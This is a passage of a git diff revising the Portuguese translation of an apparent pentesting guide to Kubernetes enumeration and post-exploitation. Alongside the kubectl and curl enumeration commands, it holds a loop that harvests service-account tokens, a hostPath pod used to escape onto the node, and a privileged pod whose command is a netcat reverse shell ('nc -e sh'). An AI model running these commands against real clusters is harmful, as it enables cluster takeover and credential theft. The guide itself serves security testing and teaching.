[https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) +- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) +- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index db5fd8f38..51906b5cd 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,24 +4,24 @@ ## Kubernetes Tokens -Se você comprometeu o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela **variável de ambiente `KUBECONFIG`** ou **dentro de `~/.kube`**. +Se você tiver comprometido o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela **env var `KUBECONFIG`** ou **dentro de `~/.kube`**. -Nesta pasta, você pode encontrar arquivos de configuração com **tokens e configurações para se conectar ao servidor API**. Nesta pasta, você também pode encontrar uma pasta de cache com informações previamente recuperadas. +Nessa pasta, você pode encontrar arquivos de config com **tokens e configurações para conectar ao API server**. Nessa pasta, você também pode encontrar uma pasta de cache com informações recuperadas anteriormente. -Se você comprometeu um pod dentro de um ambiente Kubernetes, há outros lugares onde você pode encontrar tokens e informações sobre o ambiente K8 atual: +Se você tiver comprometido um pod dentro de um ambiente kubernetes, há outros lugares onde você pode encontrar tokens e informações sobre o K8 env atual: ### Service Account Tokens -Antes de continuar, se você não sabe o que é um serviço no Kubernetes, eu sugeriria que você **siga este link e leia pelo menos as informações sobre a arquitetura do Kubernetes.** +Antes de continuar, se você não sabe o que é um service em Kubernetes, eu sugeriria **seguir este link e ler ao menos a informação sobre a arquitetura do Kubernetes.** Retirado da [documentação](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) do Kubernetes: -_“Quando você cria um pod, se não especificar uma conta de serviço, ela é automaticamente atribuída à_ conta de serviço _padrão no mesmo namespace.”_ +_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade para processos que são executados em um pod.\ -Cada conta de serviço tem um segredo relacionado a ela e esse segredo contém um token portador. Este é um JSON Web Token (JWT), um método para representar reivindicações de forma segura entre duas partes. +**ServiceAccount** é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade para processos que rodam em um pod.\ +Toda service account tem um secret relacionado a ela, e esse secret contém um bearer token. Isso é um JSON Web Token (JWT), um método para representar claims com segurança entre duas partes. -Geralmente **um** dos diretórios: +Normalmente **um** dos diretórios: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` @@ -29,25 +29,25 @@ Geralmente **um** dos diretórios: contém os arquivos: -- **ca.crt**: É o certificado CA para verificar as comunicações do Kubernetes +- **ca.crt**: É o certificado ca para verificar as comunicações do kubernetes - **namespace**: Indica o namespace atual -- **token**: Contém o **token de serviço** do pod atual. +- **token**: Contém o **service token** do pod atual. -Agora que você tem o token, pode encontrar o servidor API dentro da variável de ambiente **`KUBECONFIG`**. Para mais informações, execute `(env | set) | grep -i "kuber|kube`**`"`** +Agora que você tem o token, pode encontrar o API server dentro da variável de ambiente **`KUBECONFIG`**. Para mais info, execute `(env | set) | grep -i "kuber|kube`**`"`** -O token da conta de serviço está sendo assinado pela chave que reside no arquivo **sa.key** e validado por **sa.pub**. +O service account token está sendo assinado pela key que reside no arquivo **sa.key** e validado por **sa.pub**. -Localização padrão no **Kubernetes**: +Local padrão no **Kubernetes**: - /etc/kubernetes/pki -Localização padrão no **Minikube**: +Local padrão no **Minikube**: - /var/lib/localkube/certs ### Hot Pods -_**Hot pods são**_ pods que contêm um token de conta de serviço privilegiada. Um token de conta de serviço privilegiada é um token que tem permissão para realizar tarefas privilegiadas, como listar segredos, criar pods, etc. +_**Hot pods are**_ pods contendo um privileged service account token. Um privileged service account token é um token que tem permissão para realizar tarefas privileged, como listar secrets, criar pods, etc. ## RBAC @@ -55,35 +55,35 @@ Se você não sabe o que é **RBAC**, **leia esta seção**. ## GUI Applications -- **k9s**: Uma GUI que enumera um cluster Kubernetes a partir do terminal. Confira os comandos em [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escreva `:namespace` e selecione tudo para então pesquisar recursos em todos os namespaces. -- **k8slens**: Oferece alguns dias de teste gratuito: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: Uma GUI que enumera um cluster kubernetes a partir do terminal. Veja os comandos em[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escreva `:namespace` e selecione all para então procurar resources em todos os namespaces. +- **k8slens**: Oferece alguns dias de teste grátis: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -Para enumerar um ambiente K8s, você precisa de alguns itens: +Para enumerar um ambiente K8s, você precisa de algumas coisas: -- Um **token de autenticação válido**. Na seção anterior, vimos onde procurar um token de usuário e um token de conta de serviço. -- O **endereço (**_**https://host:port**_**) do API do Kubernetes**. Isso pode ser geralmente encontrado nas variáveis de ambiente e/ou no arquivo de configuração kube. -- **Opcional**: O **ca.crt para verificar o servidor API**. Isso pode ser encontrado nos mesmos lugares onde o token pode ser encontrado. Isso é útil para verificar o certificado do servidor API, mas usando `--insecure-skip-tls-verify` com `kubectl` ou `-k` com `curl`, você não precisará disso. +- Um **valid authentication token**. Na seção anterior, vimos onde procurar um user token e um service account token. +- O **address (**_**https://host:port**_**) of the Kubernetes API**. Isso normalmente pode ser encontrado nas variáveis de ambiente e/ou no arquivo kube config. +- **Opcional**: O **ca.crt para verificar o API server**. Isso pode ser encontrado nos mesmos lugares onde o token pode ser encontrado. Isso é útil para verificar o certificado do API server, mas usando `--insecure-skip-tls-verify` com `kubectl` ou `-k` com `curl`, você não vai precisar disso. -Com esses detalhes, você pode **enumerar o Kubernetes**. Se a **API** por algum motivo for **acessível** através da **Internet**, você pode simplesmente baixar essas informações e enumerar a plataforma a partir do seu host. +Com esses detalhes, você pode **enumerate kubernetes**. Se a **API** por algum motivo estiver **accessible** pela **Internet**, você pode simplesmente baixar essas informações e enumerar a plataforma a partir do seu host. -No entanto, geralmente o **servidor API está dentro de uma rede interna**, portanto, você precisará **criar um túnel** através da máquina comprometida para acessá-lo a partir da sua máquina, ou pode **fazer o upload do** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binário, ou usar **`curl/wget/qualquer coisa`** para realizar requisições HTTP brutas ao servidor API. +No entanto, geralmente o **API server está dentro de uma rede interna**, portanto você precisará **criar um tunnel** através da máquina comprometida para acessá-lo a partir da sua máquina, ou pode **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, ou usar **`curl/wget/anything`** para realizar requisições HTTP brutas ao API server. ### Differences between `list` and `get` verbs -Com permissões **`get`**, você pode acessar informações de ativos específicos (_opção `describe` no `kubectl`_) API: +Com permissões de **`get`**, você pode acessar informações de assets específicos (_opção `describe` em `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Se você tiver a permissão **`list`**, você está autorizado a executar solicitações de API para listar um tipo de ativo (_opção `get` em `kubectl`_): +Se você tiver a permissão **`list`**, você está autorizado a executar requests de API para listar um tipo de asset (_`get` option in `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Se você tiver a permissão **`watch`**, você está autorizado a executar solicitações de API para monitorar ativos: +Se você tiver a permissão **`watch`**, você poderá executar solicitações de API para monitorar assets: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,7 +91,7 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Eles abrem uma conexão de streaming que retorna o manifesto completo de um Deployment sempre que ele muda (ou quando um novo é criado). +Eles abrem uma conexão de streaming que retorna a você o manifesto completo de um Deployment sempre que ele muda (ou quando um novo é criado). > [!CAUTION] > Os seguintes comandos `kubectl` indicam apenas como listar os objetos. Se você quiser acessar os dados, precisa usar `describe` em vez de `get` @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Por padrão, o pod pode **acessar** o **kube-api server** no nome de domínio **`kubernetes.default.svc`** e você pode ver a rede kube em **`/etc/resolv.config`** pois aqui você encontrará o endereço do servidor DNS do kubernetes (o ".1" do mesmo intervalo é o endpoint do kube-api). +> Por padrão o pod pode **acessar** o **kube-api server** no nome de domínio **`kubernetes.default.svc`** e você pode ver a rede kube em **`/etc/resolv.config`** pois lá você encontrará o endereço do servidor DNS do kubernetes (o ".1" do mesmo range é o endpoint do kube-api). -### Usando kubectl +### Using kubectl -Tendo o token e o endereço do servidor API, você usa kubectl ou curl para acessá-lo conforme indicado aqui: +Tendo o token e o endereço do API server, você usa kubectl ou curl para acessá-lo como indicado aqui: -Por padrão, o APISERVER está se comunicando com o esquema `https://` +Por padrão, o APISERVER está se comunicando com o schema `https://` ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> se não houver `https://` na URL, você pode receber um erro como Bad Request. +> se não houver `https://` na url, você pode receber um Erro como Bad Request. -Você pode encontrar um [**cheatsheet oficial do kubectl aqui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). O objetivo das seções a seguir é apresentar de maneira ordenada diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso. +Você pode encontrar uma [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). O objetivo das seções a seguir é apresentar, de forma ordenada, diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso. -Para encontrar a solicitação HTTP que o `kubectl` envia, você pode usar o parâmetro `-v=8` +Para encontrar a requisição HTTP que `kubectl` envia, você pode usar o parâmetro `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Se você conseguiu roubar as credenciais de alguns usuários, pode **configurá-las localmente** usando algo como: +Se você conseguiu roubar as credenciais de alguns usuários, você pode **configurá-las localmente** usando algo como: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \ ``` ### Obter Recursos Suportados -Com essas informações, você saberá todos os serviços que pode listar +Com essas informações você saberá todos os serviços que pode listar {{#tabs }} {{#tab name="kubectl" }} @@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Obter Privilégios Atuais +### Metadados do objeto que vale a pena verificar + +Quando você consegue ler um objeto, exporte o YAML ou JSON completo em vez de depender apenas da saída em tabela ou de `describe`. O contexto de segurança mais útil frequentemente está em campos genéricos do objeto que existem em muitos tipos de recursos: +```bash +kubectl get pod -n -o yaml +kubectl get deploy -n -o json | jq '.metadata, .spec, .status' +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' +``` +- `metadata.uid`, `name`, `namespace`, `apiVersion` e `kind` identificam o objeto exato e evitam confusão entre objetos com o mesmo nome em diferentes namespaces ou grupos de API. +- `metadata.labels` e selectors conectam Services, Deployments, ReplicaSets, Pods, NetworkPolicies e automation. Seguir selectors costuma ser a forma mais rápida de identificar os pods backend reais de um Service. +- `metadata.annotations` pode leak contexto operacional como comportamento de ingress, configurações de cloud load balancer, metadados de GitOps ou Helm, exceções de policy e configuração de service mesh. Elas não devem conter secrets, mas clusters reais frequentemente expõem pistas úteis ali. +- `metadata.ownerReferences` mostra a linhagem do controller. Se um Pod é owned por um ReplicaSet owned by a Deployment, alterar ou deletar apenas o Pod geralmente não corrige a origem. +- `metadata.finalizers` e `metadata.deletionTimestamp` explicam recursos presos em deletion e podem revelar cleanup controllers ou tricks de persistence/disruption. +- `status`, Events e conditions podem revelar node placement, pod IPs, image IDs, mensagens de erro, problemas de scheduling, admission denials e progresso do controller. São pistas úteis, mas audit logs ainda são necessários para provar quem executou uma ação. + +### Get Current Privileges {{#tabs }} {{#tab name="kubectl" }} @@ -197,7 +212,7 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Outra maneira de verificar seus privilégios é usando a ferramenta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Outra forma de verificar seus privilégios é usando a ferramenta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* Você pode aprender mais sobre **Kubernetes RBAC** em: @@ -205,13 +220,13 @@ Você pode aprender mais sobre **Kubernetes RBAC** em: kubernetes-role-based-access-control-rbac.md {{#endref}} -**Uma vez que você saiba quais privilégios** você tem, verifique a página a seguir para descobrir **se você pode abusar deles** para escalar privilégios: +**Assim que você souber quais privilégios** você tem, verifique a seguinte página para descobrir **se você pode abusar deles** para escalar privilégios: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Obter outros papéis +### Obter roles de Outros {{#tabs }} {{#tab name="kubectl" }} @@ -231,7 +246,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu ### Obter namespaces -Kubernetes suporta **múltiplos clusters virtuais** suportados pelo mesmo cluster físico. Esses clusters virtuais são chamados de **namespaces**. +Kubernetes suporta **múltiplos clusters virtuais** apoiados pelo mesmo cluster físico. Esses clusters virtuais são chamados **namespaces**. {{#tabs }} {{#tab name="kubectl" }} @@ -247,7 +262,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/ {{#endtab }} {{#endtabs }} -### Obter segredos +### Obter secrets {{#tabs }} {{#tab name="kubectl" }} @@ -266,13 +281,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -Se você pode ler segredos, pode usar as seguintes linhas para obter os privilégios relacionados a cada token: +Se você consegue ler secrets, pode usar as seguintes linhas para obter os privilégios relacionados a cada token: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Obter Contas de Serviço +### Obter Service Accounts -Como discutido no início desta página, **quando um pod é executado, uma conta de serviço é geralmente atribuída a ele**. Portanto, listar as contas de serviço, suas permissões e onde estão sendo executadas pode permitir que um usuário eleve privilégios. +Como discutido no início desta página, **quando um pod é executado, geralmente um service account é atribuído a ele**. Portanto, listar os service accounts, suas permissões e onde eles estão sendo executados pode permitir que um usuário escale privilégios. {{#tabs }} {{#tab name="kubectl" }} @@ -288,9 +303,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Obter Implantações +### Obter Deployments -As implantações especificam os **componentes** que precisam ser **executados**. +Deployments especificam o estado desejado para cargas de trabalho de aplicação stateless. Eles criam ReplicaSets, e esses ReplicaSets criam Pods. {{#tabs }} {{#tab name="kubectl" }} @@ -302,14 +317,33 @@ k get deployments -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces//deployments/ +kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ +``` +{{#endtab }} +{{#endtabs }} + +### Obter StatefulSets + +StatefulSets gerenciam Pods que precisam de nomes estáveis, comportamento de rollout ordenado e, muitas vezes, volumes persistentes por réplica. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get statefulsets +k get statefulsets -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ``` {{#endtab }} {{#endtabs }} ### Obter Pods -Os Pods são os **contêineres** que irão **executar**. +Os Pods são os **containers** reais que irão **executar**. {{#tabs }} {{#tab name="kubectl" }} @@ -326,9 +360,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ {{#endtab }} {{#endtabs }} -### Obter Serviços +### Obter Services -Kubernetes **services** são usados para **expor um serviço em uma porta e IP específicos** (que atuarão como balanceador de carga para os pods que estão realmente oferecendo o serviço). Isso é interessante para saber onde você pode encontrar outros serviços para tentar atacar. +Kubernetes **services** são usados para **expor um service em uma porta e IP específicos** (que atuarão como load balancer para os pods que realmente estão oferecendo o service). Isso é interessante para saber onde você pode encontrar outros services para tentar atacar. {{#tabs }} {{#tab name="kubectl" }} @@ -340,14 +374,14 @@ k get services -n custnamespace {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/api/v1/namespaces/default/services/ +kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} -### Obter nós +### Obter nodes -Obtenha todos os **nós configurados dentro do cluster**. +Obtenha todos os **nodes configurados dentro do cluster**. {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +399,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### Obter DaemonSets -**DaeamonSets** permite garantir que um **pod específico esteja em execução em todos os nós** do cluster (ou nos selecionados). Se você excluir o DaemonSet, os pods gerenciados por ele também serão removidos. +**DaemonSets** garantem que um **Pod específico esteja em execução em todos os nós selecionados** do cluster. Se você excluir o DaemonSet, os Pods gerenciados por ele também serão removidos. {{#tabs }} {{#tab name="kubectl" }} @@ -376,32 +410,52 @@ k get daemonsets {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets +kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} -### Obter cronjob +### Obter Jobs -Os cron jobs permitem agendar, usando uma sintaxe semelhante ao crontab, o lançamento de um pod que realizará alguma ação. +Jobs criam Pods que executam até a conclusão. Eles são comumente usados para migrações, backups, trabalhos em lote e tarefas administrativas pontuais. {{#tabs }} {{#tab name="kubectl" }} ```bash -k get cronjobs +k get jobs +k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash -kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs +kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs +``` +{{#endtab }} +{{#endtabs }} + +### Obter CronJobs + +CronJobs usam um schedule parecido com crontab para criar Jobs que iniciam Pods para execução no estilo de tarefas. + +{{#tabs }} +{{#tab name="kubectl" }} +```bash +k get cronjobs +k get cronjobs -n custnamespace +``` +{{#endtab }} + +{{#tab name="API" }} +```bash +kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### Obter configMap -configMap sempre contém muitas informações e arquivos de configuração que fornecem para os aplicativos que rodam no kubernetes. Normalmente, você pode encontrar muitas senhas, segredos e tokens que são usados para conectar e validar a outros serviços internos/externos. +configMap sempre contém muita informação e configfile que são fornecidos aos apps que rodam no kubernetes. Normalmente você pode encontrar muitas passwords, secrets, tokens usados para se conectar e validar outros serviços internos/externos. {{#tabs }} {{#tab name="kubectl" }} @@ -417,10 +471,10 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Obter Políticas de Rede / Políticas de Rede Cilium +### Obter Network Policies / Cilium Network Policies {{#tabs }} -{{#tab name="Primeira Aba" }} +{{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies @@ -429,7 +483,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### Obter Tudo / Todos +### Obter Tudo / Tudo {{#tabs }} {{#tab name="kubectl" }} @@ -439,7 +493,7 @@ k get all {{#endtab }} {{#endtabs }} -### **Obter todos os recursos gerenciados pelo helm** +### **Obtenha todos os recursos gerenciados por helm** {{#tabs }} {{#tab name="kubectl" }} @@ -449,7 +503,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Obter consumos de Pods** +### **Obter consumos dos Pods** {{#tabs }} {{#tab name="kubectl" }} @@ -461,19 +515,19 @@ k top pod --all-namespaces ## Interagindo com o cluster sem usar kubectl -Visto que o plano de controle do Kubernetes expõe uma API RESTful, você pode criar manualmente requisições HTTP e enviá-las com outras ferramentas, como **curl** ou **wget**. +Vendo que o control plane do Kubernetes expõe uma API REST-ful, você pode criar manualmente requisições HTTP e enviá-las com outras ferramentas, como **curl** ou **wget**. ### Escapando do pod -Se você conseguir criar novos pods, pode ser capaz de escapar deles para o nó. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, mudar para o pod criado e, em seguida, chroot no sistema do nó. Você pode usar pods já existentes como referência para o arquivo yaml, uma vez que eles exibem imagens e caminhos existentes. +Se você conseguir criar novos pods, talvez consiga escapar deles para o node. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, alternar para o pod criado e então chroot para o system do node. Você pode usar pods já existentes como referência para o arquivo yaml, já que eles exibem images e pathes existentes. ```bash kubectl get pod [-n ] -o yaml ``` -> se você precisar criar um pod em um nó específico, pode usar o seguinte comando para obter rótulos no nó +> se precisar criar um pod no node específico, você pode usar o seguinte comando para obter labels no node > > `k get nodes --show-labels` > -> Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons rótulos para seleção. +> Normalmente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons labels para selecionar. Então você cria seu arquivo attack.yaml ```yaml @@ -505,7 +559,9 @@ restartPolicy: Never # or using # node-role.kubernetes.io/master: "" ``` -Após isso, você cria o pod +[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) + +Depois disso, você cria o pod ```bash kubectl apply -f attacker.yaml [-n ] ``` @@ -513,13 +569,13 @@ Agora você pode alternar para o pod criado da seguinte forma ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -E finalmente você chroot no sistema do nó +E finalmente você faz chroot no sistema do node ```bash chroot /root /bin/bash ``` Informações obtidas de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) -### Criando um pod privilegiado +### Creating a privileged pod O arquivo yaml correspondente é o seguinte: ```yaml @@ -565,7 +621,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Delete um pod +### Deletar um pod Delete um pod com curl: ```bash @@ -584,7 +640,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### Criar uma Conta de Serviço +### Criar uma Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -602,7 +658,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Excluir uma Conta de Serviço +### Excluir uma Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -619,7 +675,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Criar um Papel +### Criar uma Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -637,7 +693,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Excluir um Papel +### Excluir um Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -655,7 +711,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` -### Criar um Binding de Papel +### Criar um Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -672,7 +728,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Excluir um Binding de Papel +### Excluir uma Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -690,7 +746,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` -### Excluir um Segredo +### Excluir um Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -707,7 +763,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Excluir um Segredo +### Apagar um Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md index c9a2a34da..de05e9c77 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md @@ -4,60 +4,81 @@ ## PodSecurityContext -[**Dos documentos:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) +[**Da documentação:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) -Ao especificar o contexto de segurança de um Pod, você pode usar vários atributos. Do ponto de vista da segurança defensiva, você deve considerar: +Ao especificar o security context de um Pod, você pode usar vários atributos. Do ponto de vista de segurança defensiva, você deve considerar: - Ter **runASNonRoot** como **True** - Configurar **runAsUser** -- Se possível, considere **limitar** **permissões** indicando **seLinuxOptions** e **seccompProfile** -- **NÃO** conceda acesso ao **grupo** de **privilegio** via **runAsGroup** e **supplementaryGroups** +- Se possível, considerar **limitar** **permissões** indicando **seLinuxOptions** e **seccompProfile** +- **NÃO** dar acesso a **privilege** **group** via **runAsGroup** e **supplementaryGroups** -| Parâmetro | Descrição | -|

fsGroup
inteiro

|

Um grupo suplementar especial que se aplica a todos os contêineres em um pod. Alguns tipos de volume permitem que o Kubelet mude a propriedade desse volume para ser de propriedade do pod:
1. O GID proprietário será o FSGroup
